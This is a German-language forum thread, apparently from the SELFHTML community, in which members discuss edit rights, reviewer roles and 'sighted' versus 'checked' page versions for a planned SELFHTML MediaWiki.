                Ohne eine Form von Kontroll- und Qualitätsmanagement wird es vermutlich nicht gehen.

                Es kommt allerdings auf die Form drauf an.

                Ich weiß nicht, in wie weit Du da in die Entscheidungen mit eingebunden bist.

                Ohne Gram meinerseits (im Gegenteil): gar nicht. Und wäre ich es, wäre es in meinen Augen unsolidarisch und ein Unding, wenn ich meine Vorstellungen hier postete. Ob ich das, was ich in einem zeitgemäßen SELFHTML für wichtig halte, und wie ich das dann einbringe, hängt unter anderen von dem Rechtemanagement des Projekts und der angepeilten Neupositionierung des Dokuments ab. Das ist keine Drohung, denn ich halte einen möglichen Beitrag meinerseits für ziemlich nebensächlich :-)

                Ich persönlich fände eine etwas öffentlichere Übersicht über die Beteiligten und Funktionen gar nicht schlecht.

                Auf den Seiten des Vereins stehen die Mitglieder und deren Funktionen.

                Dazu gehören dann in Abstufungen für mich auch versierte Nutzer oder "Stammposter".

                Zu dieser Frage fällt mit aktuell der Herr Bundesminister Rösler ein, dem man wegen seines erlernten Berufes (Mediziner) eine gute Arbeit als Gesundheitsminister voraussagte. Mit scheint, dass eben das nichts miteinander zu tun hat.

                Grüße

                Swen

                1. Hallo,

                  Zu dieser Frage fällt mit aktuell der Herr Bundesminister Rösler ein, dem man wegen seines erlernten Berufes (Mediziner) eine gute Arbeit als Gesundheitsminister voraussagte. Mit scheint, dass eben das nichts miteinander zu tun hat.

                  Sven Rautenberg, moilily, dedlfix, Vinzenz Mai, Felix Riesterer, Der Martin, fallen mir spontan ein. Meine persönliche benutzerdefinierte Positivliste ist ja noch länger. Bei vielen/einigen weiß "man" doch, wie und was schönes sie schreiben können (;-). Gab/Gibt ja viel Übung und Tätigkeitsnachweise im Forum.

                  Gruß

                  jobo

        2. Das sollte man also nicht an einem formalen Rechtestatus "Redakteur" festmachen sondern eher die Erweiterung für gesichtete und geprüfte Versionen, die auch im deutschen Wikipedia genutzt werden, einsetzen.

          Die gesichteten Versionen funktionieren in der Wikipedia aber anders, sie indizieren nur, ob der Artikel frei von offensichtlichem Vandalismus ist. Ob der Artikel fachlich in Ordnung ist, wird dadurch nicht angezeigt.

          Darum halte ich es für essentiell, wenn die Markierung als gesichtete Version nur durch "Fachpersonal" bzw. einen stark eingeschränkten Benutzerkreis mit entsprechenden Kompetenzen erfolgt, denen man zutrauen kann, dass sie nichts sichten, wovon sie keine Ahnung haben.

          Beispiel: Examle1 hat Sichterrechte und hat keinen Plan von HTML, ist aber ein JavaScript-Experte. Dann darf der zwar prinzipiell HTML-bezogene Sachen sichten, er muss aber so vertrauenswürdig sein, es nicht zu tun, wenn es seine Kompetenz bzw. sein Wissen überschreitet.

          Einfach jedem Benutzer nach einer gewissen Anzahl an Edits Sichterrechte einzuräumen ist daher wenig schlau.

          Die gesichteten Versionen sollen ja den aktuellen, abgesegneten Stand widerspielgen, den ein normaler Besucher zu sehen bekommt.

          1. Moin,

            Das sollte man also nicht an einem formalen Rechtestatus "Redakteur" festmachen sondern eher die Erweiterung für gesichtete und geprüfte Versionen, die auch im deutschen Wikipedia genutzt werden, einsetzen.

            Die gesichteten Versionen funktionieren in der Wikipedia aber anders, sie indizieren nur, ob der Artikel frei von offensichtlichem Vandalismus ist. Ob der Artikel fachlich in Ordnung ist, wird dadurch nicht angezeigt.

            Ich sprach von gesichtet und geprüft. Das Wikipedia Deutschland im Moment (noch) nicht prüft, mass das Projekt hier nicht stören.

            Ich halte es sinnvoll, beides einzusetzen. "Sichter" könnte man ab einer gewissen Anzahl von Edits werden. Deine Idee, Sichtung und Prüfung in einer Funktion zu vereinigen, halte ich für hingegen wenig hilfreich. Zudem bin ich der Meinung, dass man das auch alles überregulieren kann. Mir scheint, dass die Redaktion zunächst Vertrauen in die "Belegschaft" setzt. Das ist gut und motiviert sicher. Falls es dann doch mal danebengeht, kann man immer noch nachsteuern. Ich traue dem Verein/den Developern/den Redakteuren zu, dass sie aus ihrem Bauch heraus eine Reihe von Prüfern finden werden, die fachlich qualifiziert sind, sozial kompetent sind und genügend Teamfähigkeit mitbringen, um eine Erstausstattung an Prüfern zu finden.

            Die gesichteten Versionen sollen ja den aktuellen, abgesegneten Stand widerspielgen, den ein normaler Besucher zu sehen bekommt.

            Eine Änderung bis zur "Sichtung" bzw. "Prüfung" für den typischen Besucher zu verstecken ist ein fröhlicher "Wir trauen Dir nichts zu - und wenn, dann nur böses, nichtiger Schreiberling" an den Autor der Änderung. Das ist wenig motivierend, finde. Und: Wenn man sogar den Wikipedia-Benutzern, von denen sicher viele nur gelegentliche Internetnutzer sind, ungesichtete Versionen als default zeigt, werden SELFHTML-Nutzer nicht sterben, wenn sie das hier auch so sehen.

            Grüße

            Swen

            1. Hallo Swen,

              Und: Wenn man sogar den Wikipedia-Benutzern, von denen sicher viele nur gelegentliche Internetnutzer sind, ungesichtete Versionen als default zeigt, werden SELFHTML-Nutzer nicht sterben, wenn sie das hier auch so sehen.

              das sehe ich genauso. Ich hoffe, es geht bald los.

              Freundliche Grüße

              Vinzenz

    2. Hallo Swen,

      gibt es schon irgendwo veröffentliche Vorstellungen vom Rechtemanagement innerhalb des SELFHTML-Wikis? Wird, wie zu erwarten, jeder Schreibrechte (Seiten bearbeiten - edit) erhalten? Oder wird man das auf angemeldete User beschränken?

      Definiere "jeder" und definiere "angemeldete User". Im Prinzip wollen wir zwar keine Bearbeitungen nur mit der IP, aber es soll sich _jeder_ OHNE Freischaltung / sonstwas in wenigen Sekunden einen Account zulegen können und (mit wenigen Ausnahmen wie Startseite etc.) beliebige Seiten bearbeiten dürfen. Das ist zumindest meines Wissens der aktuelle Stand.

      Viele Grüße,
      Christian

      1. Hallo Christian.

        Im Prinzip wollen wir zwar keine Bearbeitungen nur mit der IP, aber es soll sich _jeder_ OHNE Freischaltung / sonstwas in wenigen Sekunden einen Account zulegen können und (mit wenigen Ausnahmen wie Startseite etc.) beliebige Seiten bearbeiten dürfen. Das ist zumindest meines Wissens der aktuelle Stand.

        Das finde ich super!

        Servus,
        Flo

      2. Moin,

        Definiere "jeder" und definiere "angemeldete User".

        Das verstehe ich jetzt nicht. Was ist daran unklar? Für was oder wen soll das unklar sein? Es ist ein Mediawiki und die User-Gruppen können diesen Begriffen unspektakulär zugeordnet werden.

        ... es soll sich _jeder_ OHNE Freischaltung / sonstwas in wenigen Sekunden einen Account zulegen können und (mit wenigen Ausnahmen wie Startseite etc.) beliebige Seiten bearbeiten dürfen.

        Super, das finde ich gut.

        Grüße

        Swen

      3. Hallo Christian,

        es soll sich _jeder_ OHNE Freischaltung / sonstwas in wenigen Sekunden einen Account zulegen können und (mit wenigen Ausnahmen wie Startseite etc.) beliebige Seiten bearbeiten dürfen.

        das finde ich ebenfalls prima.

        Freundliche Grüße

        Vinzenz